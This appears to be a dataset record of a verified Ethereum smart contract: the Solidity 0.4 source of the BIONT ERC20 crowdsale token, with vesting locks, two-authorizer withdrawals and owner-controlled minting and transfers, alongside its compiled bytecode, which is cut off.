90519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b6105b2338261096e565b50565b336000908152600360209081526040808320600160a060020a03861684529091528120548083111561060a57336000908152600360209081526040808320600160a060020a038816845290915281205561063f565b61061a818463ffffffff61094916565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600054600160a060020a031633146106d757600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031681565b6b019d971e4fe8401e7400000081565b60408051808201909152600381527f4453430000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561079957600080fd5b336000908152600160205260409020548211156107b557600080fd5b336000908152600160205260409020546107d5908363ffffffff61094916565b3360009081526001602052604080822092909255600160a060020a03851681522054610807908363ffffffff61095b16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600360209081526040808320600160a060020a0386168452909152812054610899908363ffffffff61095b16565b336000818152600360209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600054600160a060020a0316331461094057600080fd5b6105b281610a6f565b60008282111561095557fe5b50900390565b8181018281101561096857fe5b92915050565b600160a060020a03821660009081526001602052604090205481111561099357600080fd5b600160a060020a0382166000908152600160205260409020546109bc908263ffffffff61094916565b600160a060020a0383166000908152600160205260409020556002546109e8908263ffffffff61094916565b600255604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600160a060020a0381161515610a8457600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820ae30f095deb7dc62c694bbcfe525b9663fc8e6a920dfaa80cd943cc9332219160029
{"success": true, "error": null, "results": {}}
3,175
0x5882D49d3511E09096CBbaB7E19fBFb82f65f28D
pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint256 public tokenTotalSupply; function balanceOf(address who) constant returns(uint256); function allowance(address owner, address spender) constant returns(uint256); function transfer(address to, uint256 value) returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); function transferFrom(address from, address to, uint256 value) returns (bool success); function approve(address spender, uint256 value) returns (bool success); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() constant returns (uint256 availableSupply); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract BioToken is ERC20, Ownable { using SafeMath for uint; string public name = "BIONT Token"; string public symbol = "BIONT"; uint public decimals = 18; bool public tradingStarted = false; bool public mintingFinished = false; bool public salePaused = false; uint256 public tokenTotalSupply = 0; uint256 public trashedTokens = 0; uint256 public hardcap = 140000000 * (10 ** decimals); // 140 million tokens uint256 public ownerTokens = 14000000 * (10 ** decimals); // 14 million tokens uint public ethToToken = 300; // 1 eth buys 300 tokens uint public noContributors = 0; uint public start = 1503346080; // 08/21/2017 @ 20:08pm (UTC) uint public initialSaleEndDate = start + 9 weeks; uint public ownerGrace = initialSaleEndDate + 182 days; uint public fiveYearGrace = initialSaleEndDate + 5 * 365 days; address public multisigVault; address public lockedVault; address public ownerVault; address public authorizerOne; address public authorizerTwo; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; mapping(address => uint256) authorizedWithdrawal; event Mint(address indexed to, uint256 value); event MintFinished(); event TokenSold(address recipient, uint256 ether_amount, uint256 pay_amount, uint256 exchangerate); event MainSaleClosed(); /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if (msg.data.length < size + 4) { revert(); } _; } modifier canMint() { if (mintingFinished) { revert(); } _; } /** * @dev modifier that throws if trading has not started yet */ modifier hasStartedTrading() { require(tradingStarted); _; } /** * @dev modifier to allow token creation only when the sale IS ON */ modifier saleIsOn() { require(now > start && now < initialSaleEndDate && salePaused == false); _; } /** * @dev modifier to allow token creation only when the hardcap has not been reached */ modifier isUnderHardCap() { require(tokenTotalSupply <= hardcap); _; } function BioToken(address _ownerVault, address _authorizerOne, address _authorizerTwo, address _lockedVault, address _multisigVault) { ownerVault = _ownerVault; authorizerOne = _authorizerOne; authorizerTwo = _authorizerTwo; lockedVault = _lockedVault; multisigVault = _multisigVault; mint(ownerVault, ownerTokens); } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) private canMint returns(bool) { tokenTotalSupply = tokenTotalSupply.add(_amount); require(tokenTotalSupply <= hardcap); balances[_to] = balances[_to].add(_amount); noContributors = noContributors.add(1); Mint(_to, _amount); Transfer(this, _to, _amount); return true; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function masterMint(address _to, uint256 _amount) public canMint onlyOwner returns(bool) { tokenTotalSupply = tokenTotalSupply.add(_amount); require(tokenTotalSupply <= hardcap); balances[_to] = balances[_to].add(_amount); noContributors = noContributors.add(1); Mint(_to, _amount); Transfer(this, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() private onlyOwner returns(bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) hasStartedTrading returns (bool success) { // don&#39;t allow the vault to make transfers if (msg.sender == lockedVault && now < fiveYearGrace) { revert(); } // owner needs to wait as well if (msg.sender == ownerVault && now < ownerGrace) { revert(); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) hasStartedTrading returns (bool success) { if (_from == lockedVault && now < fiveYearGrace) { revert(); } // owner needs to wait as well if (_from == ownerVault && now < ownerGrace) { revert(); } var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Transfer tokens from one address to another according to off exchange agreements * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function masterTransferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public hasStartedTrading onlyOwner returns (bool success) { if (_from == lockedVault && now < fiveYearGrace) { revert(); } // owner needs to wait as well if (_from == ownerVault && now < ownerGrace) { revert(); } balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); Transfer(_from, _to, _value); return true; } function totalSupply() constant returns (uint256 availableSupply) { return tokenTotalSupply; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns(uint256 balance) { return balances[_owner]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) { revert(); } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns(uint256 remaining) { return allowed[_owner][_spender]; } /** * @dev Allows the owner to enable the trading. This can not be undone */ function startTrading() onlyOwner { tradingStarted = true; } /** * @dev Allows the owner to enable the trading. This can not be undone */ function pauseSale() onlyOwner { salePaused = true; } /** * @dev Allows the owner to enable the trading. This can not be undone */ function resumeSale() onlyOwner { salePaused = false; } /** * @dev Allows the owner to enable the trading. This can not be undone */ function getNoContributors() constant returns(uint contributors) { return noContributors; } /** * @dev Allows the owner to set the multisig wallet address. * @param _multisigVault the multisig wallet address */ function setMultisigVault(address _multisigVault) public onlyOwner { if (_multisigVault != address(0)) { multisigVault = _multisigVault; } } function setAuthorizedWithdrawalAmount(uint256 _amount) public { if (_amount < 0) { revert(); } if (msg.sender != authorizerOne && msg.sender != authorizerTwo) { revert(); } authorizedWithdrawal[msg.sender] = _amount; } /** * @dev Allows the owner to send the funds to the vault. * @param _amount the amount in wei to send */ function withdrawEthereum(uint256 _amount) public onlyOwner { require(multisigVault != address(0)); require(_amount <= this.balance); // wei if (authorizedWithdrawal[authorizerOne] != authorizedWithdrawal[authorizerTwo]) { revert(); } if (_amount > authorizedWithdrawal[authorizerOne]) { revert(); } if (!multisigVault.send(_amount)) { revert(); } authorizedWithdrawal[authorizerOne] = authorizedWithdrawal[authorizerOne].sub(_amount); authorizedWithdrawal[authorizerTwo] = authorizedWithdrawal[authorizerTwo].sub(_amount); } function showAuthorizerOneAmount() constant public returns(uint256 remaining) { return authorizedWithdrawal[authorizerOne]; } function showAuthorizerTwoAmount() constant public returns(uint256 remaining) { return authorizedWithdrawal[authorizerTwo]; } function showEthBalance() constant public returns(uint256 remaining) { return this.balance; } function retrieveTokens() public onlyOwner { require(lockedVault != address(0)); uint256 capOut = hardcap.sub(tokenTotalSupply); tokenTotalSupply = hardcap; balances[lockedVault] = balances[lockedVault].add(capOut); Transfer(this, lockedVault, capOut); } function trashTokens(address _from, uint256 _amount) onlyOwner returns(bool) { balances[_from] = balances[_from].sub(_amount); trashedTokens = trashedTokens.add(_amount); tokenTotalSupply = tokenTotalSupply.sub(_amount); } function decreaseSupply(uint256 value, address from) onlyOwner returns (bool) { balances[from] = balances[from].sub(value); trashedTokens = trashedTokens.add(value); tokenTotalSupply = tokenTotalSupply.sub(value); Transfer(from, 0, value); return true; } function finishSale() public onlyOwner { finishMinting(); retrieveTokens(); startTrading(); MainSaleClosed(); } function saleOn() constant returns(bool) { return (now > start && now < initialSaleEndDate && salePaused == false); } /** * @dev Allows anyone to create tokens by depositing ether. * @param recipient the recipient to receive tokens. */ function createTokens(address recipient) public isUnderHardCap saleIsOn payable { uint bonus = 0; uint period = 1 weeks; uint256 tokens; if (now <= start + 2 * period) { bonus = 20; } else if (now > start + 2 * period && now <= start + 3 * period) { bonus = 15; } else if (now > start + 3 * period && now <= start + 4 * period) { bonus = 10; } else if (now > start + 4 * period && now <= start + 5 * period) { bonus = 5; } // the bonus is in percentages, solidity is doing standard integer division, basically rounding &#39;down&#39; if (bonus > 0) { tokens = ethToToken.mul(msg.value) + ethToToken.mul(msg.value).mul(bonus).div(100); } else { tokens = ethToToken.mul(msg.value); } if (tokens <= 0) { revert(); } mint(recipient, tokens); TokenSold(recipient, msg.value, tokens, ethToToken); } function() external payable { createTokens(msg.sender); } }
0x60606040523615610239576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302ae832f1461024657806305d2035b146102a057806306fdde03146102cd578063095ea7b31461035c5780630dd5e582146103b657806314f800831461042f578063169d16f41461046857806318160ddd146104bd5780631b005a38146104e65780631b96b2f91461053b5780631df8eaa21461059557806320e57371146105be57806323b872dd14610613578063293230b81461068c578063313ce567146106a157806333e364cb146106ca5780633741c90b146106df57806344daf94a1461070257806355367ba91461072b5780635b4f472a146107405780635d08c1ae1461076d5780635e00e7b21461079a578063600d7003146107c3578063602451ea146107d857806370a0823114610801578063773ef1cf1461084e578063789770f41461087b57806385fe551a146108a4578063869e0e60146108cd5780638da5cb5b146109275780638f86f5ea1461097c57806395d89b41146109915780639d1ddca514610a20578063a9059cbb14610a49578063b071cbe614610aa3578063b1a11c9214610acc578063b7b3b89a14610af5578063be9a655514610b4a578063c0aa3b2114610b73578063c23da3a914610b9c578063cedbbeee14610bc5578063d0c03f3514610bf3578063dd62ed3e14610c48578063f03aa26214610cb4578063f2fde38b14610cdd578063f7abab9e14610d16578063fba4734f14610d3f575b5b61024333610d62565b5b005b341561025157600080fd5b610286600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f71565b604051808215151515815260200191505060405180910390f35b34156102ab57600080fd5b6102b36110a2565b604051808215151515815260200191505060405180910390f35b34156102d857600080fd5b6102e06110b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103215780820151818401525b602081019050610305565b50505050905090810190601f16801561034e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561036757600080fd5b61039c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611153565b604051808215151515815260200191505060405180910390f35b34156103c157600080fd5b610415600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112dd565b604051808215151515815260200191505060405180910390f35b341561043a57600080fd5b610466600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115db565b005b341561047357600080fd5b61047b6116b4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104c857600080fd5b6104d06116da565b6040518082815260200191505060405180910390f35b34156104f157600080fd5b6104f96116e5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561054657600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061170b565b604051808215151515815260200191505060405180910390f35b34156105a057600080fd5b6105a8611922565b6040518082815260200191505060405180910390f35b34156105c957600080fd5b6105d161198c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561061e57600080fd5b610672600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506119b2565b604051808215151515815260200191505060405180910390f35b341561069757600080fd5b61069f611d67565b005b34156106ac57600080fd5b6106b4611de2565b6040518082815260200191505060405180910390f35b34156106d557600080fd5b6106dd611de8565b005b34156106ea57600080fd5b6107006004808035906020019091905050611e63565b005b341561070d57600080fd5b610715611f6f565b6040518082815260200191505060405180910390f35b341561073657600080fd5b61073e611f8f565b005b341561074b57600080fd5b61075361200a565b604051808215151515815260200191505060405180910390f35b341561077857600080fd5b61078061201d565b604051808215151515815260200191505060405180910390f35b34156107a557600080fd5b6107ad612030565b6040518082815260200191505060405180910390f35b34156107ce57600080fd5b6107d661203b565b005b34156107e357600080fd5b6107eb61227e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b610838600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122e8565b6040518082815260200191505060405180910390f35b341561085957600080fd5b610861612332565b604051808215151515815260200191505060405180910390f35b341561088657600080fd5b61088e61236b565b6040518082815260200191505060405180910390f35b34156108af57600080fd5b6108b7612371565b6040518082815260200191505060405180910390f35b34156108d857600080fd5b61090d600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612377565b604051808215151515815260200191505060405180910390f35b341561093257600080fd5b61093a6124fc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561098757600080fd5b61098f612522565b005b341561099c57600080fd5b6109a46125c7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109e55780820151818401525b6020810190506109c9565b50505050905090810190601f168015610a125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610a2b57600080fd5b610a33612665565b6040518082815260200191505060405180910390f35b3415610a5457600080fd5b610a89600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061266b565b604051808215151515815260200191505060405180910390f35b3415610aae57600080fd5b610ab661290b565b6040518082815260200191505060405180910390f35b3415610ad757600080fd5b610adf612911565b6040518082815260200191505060405180910390f35b3415610b0057600080fd5b610b08612917565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b5557600080fd5b610b5d61293d565b6040518082815260200191505060405180910390f35b3415610b7e57600080fd5b610b86612943565b6040518082815260200191505060405180910390f35b3415610ba757600080fd5b610baf612949565b6040518082815260200191505060405180910390f35b610bf1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d62565b005b3415610bfe57600080fd5b610c0661294f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610c5357600080fd5b610c9e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612975565b6040518082815260200191505060405180910390f35b3415610cbf57600080fd5b610cc76129fd565b6040518082815260200191505060405180910390f35b3415610ce857600080fd5b610d14600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612a03565b005b3415610d2157600080fd5b610d29612adc565b6040518082815260200191505060405180910390f35b3415610d4a57600080fd5b610d606004808035906020019091905050612ae2565b005b600080600060085460065411151515610d7a57600080fd5b600c5442118015610d8c5750600d5442105b8015610dab575060001515600560029054906101000a900460ff161515145b1515610db657600080fd5b6000925062093a80915081600202600c540142111515610dd95760149250610e59565b81600202600c540142118015610df6575081600302600c54014211155b15610e0457600f9250610e58565b81600302600c540142118015610e21575081600402600c54014211155b15610e2f57600a9250610e57565b81600402600c540142118015610e4c575081600502600c54014211155b15610e5657600592505b5b5b5b6000831115610eb957610e9c6064610e8e85610e8034600a54612f1990919063ffffffff16565b612f1990919063ffffffff16565b612f4d90919063ffffffff16565b610eb134600a54612f1990919063ffffffff16565b019050610ed1565b610ece34600a54612f1990919063ffffffff16565b90505b600081111515610ee057600080fd5b610eea8482612f69565b507f8323bebb324b6e1a1d4886a1f210640461bb275263dae69967f001d053ab0b2b843483600a54604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a15b5b5b50505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fcf57600080fd5b61102182601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312390919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110798260075461313d90919063ffffffff16565b6007819055506110948260065461312390919063ffffffff16565b6006819055505b5b92915050565b600560019054906101000a900460ff1681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561114b5780601f106111205761010080835404028352916020019161114b565b820191906000526020600020905b81548152906001019060200180831161112e57829003601f168201915b505050505081565b60008082141580156111e257506000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b156111ec57600080fd5b81601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000606060048101600036905010156112f557600080fd5b600560009054906101000a900460ff16151561131057600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561136c57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156113ca5750600f5442105b156113d457600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156114325750600e5442105b1561143c57600080fd5b61148e83601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461313d90919063ffffffff16565b601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152383601560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312390919063ffffffff16565b601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505b5b5b5b509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561163757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156116af5780601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060065490505b90565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560019054906101000a900460ff161561172757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561178357600080fd5b6117988260065461313d90919063ffffffff16565b600681905550600854600654111515156117b157600080fd5b61180382601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461313d90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185c6001600b5461313d90919063ffffffff16565b600b819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b5b5b92915050565b600060176000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b90565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080606060048101600036905010156119cb57600080fd5b600560009054906101000a900460ff1615156119e657600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148015611a445750600f5442105b15611a4e57600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16148015611aac5750600e5442105b15611ab657600080fd5b601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150611b8784601560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461313d90919063ffffffff16565b601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1c84601560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312390919063ffffffff16565b601560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c72848361312390919063ffffffff16565b601660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3600192505b5b5b50509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dc357600080fd5b6001600560006101000a81548160ff0219169083151502179055505b5b565b60045481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4457600080fd5b6000600560026101000a81548160ff0219169083151502179055505b5b565b6000811015611e7157600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611f1d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611f2757600080fd5b80601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60003073ffffffffffffffffffffffffffffffffffffffff163190505b90565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611feb57600080fd5b6001600560026101000a81548160ff0219169083151502179055505b5b565b600560009054906101000a900460ff1681565b600560029054906101000a900460ff1681565b6000600b5490505b90565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561209957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156120f757600080fd5b61210e60065460085461312390919063ffffffff16565b905060085460068190555061218d8160156000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461313d90919063ffffffff16565b60156000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5b50565b600060176000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff